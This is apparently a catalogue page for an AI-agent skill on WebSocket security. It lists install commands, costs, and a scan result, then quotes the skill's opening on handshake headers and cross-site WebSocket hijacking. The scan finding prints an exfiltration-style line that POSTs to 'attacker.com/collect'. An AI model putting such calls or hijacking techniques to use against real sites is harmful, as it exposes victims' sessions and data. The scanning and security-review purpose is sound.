Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/JustineDevs/premortemnpx agentmods add skills/justinedevs/premortem/websocket-securityWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/justinedevs/premortem/websocket-security)<a href="https://agentmods.dev/skills/justinedevs/premortem/websocket-security"><img src="https://agentmods.dev/badge/skills/justinedevs/premortem/websocket-security/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/justinedevs/premortem/websocket-security"><img src="https://agentmods.dev/badge/skills/justinedevs/premortem/websocket-security.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00046 | $0.03471 |
| Opus 5 | $0.00023 | $0.01736 |
| Sonnet 5 | $0.00009 | $0.00694 |
| Haiku 4.5 | $0.00005 | $0.00347 |
Grade A, and why
websocket-security scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
fetch('https://attacker.com/collect', { method: 'POST', Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
This is a copy
95% identical to websocket-security — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 455 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: WebSocket Security
AI LOAD INSTRUCTION: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in authorized tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load api-sec when present in the workspace.
0. QUICK START
During proxy or raw traffic review, watch for:
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol
Server success response indicators:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Routing note: in Burp/browser DevTools, filter for 101 and Upgrade: websocket; for deeper API testing, align authn/authz models through api-sec.
1. PROTOCOL BASICS
Client request (typical)
Upgrade: websocketandConnection: Upgrade— required upgrade handshake.Sec-WebSocket-Key— base64 nonce; server hashes with magic GUID and responds withSec-WebSocket-Accept.Sec-WebSocket-Version: 13— current standard version for browser interoperability.
Server response
HTTP/1.1 101 Switching Protocols— handshake complete; subsequent frames are WebSocket binary/text frames per RFC.
Minimal conceptual flow:
Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close
2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)
Condition
- The server does not validate
Origin(or equivalent binding) on the WebSocket handshake, and - The victim has an active session (cookie-based or browser-stored creds) to the target site.
Then a malicious page loaded in the victim’s browser may open a WebSocket as the victim, similar in spirit to CSRF but for a persistent bidirectional channel.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 455 lines · 46 tokens per session scan A 5e0ebac83dd3
websocket-security is a skill published in the GitHub repository JustineDevs/premortem (2 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 46 tokens to every session and 3,471 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (sends data to an external url). It is 95% identical to websocket-security, differing in 2 lines, and is treated as a copy.
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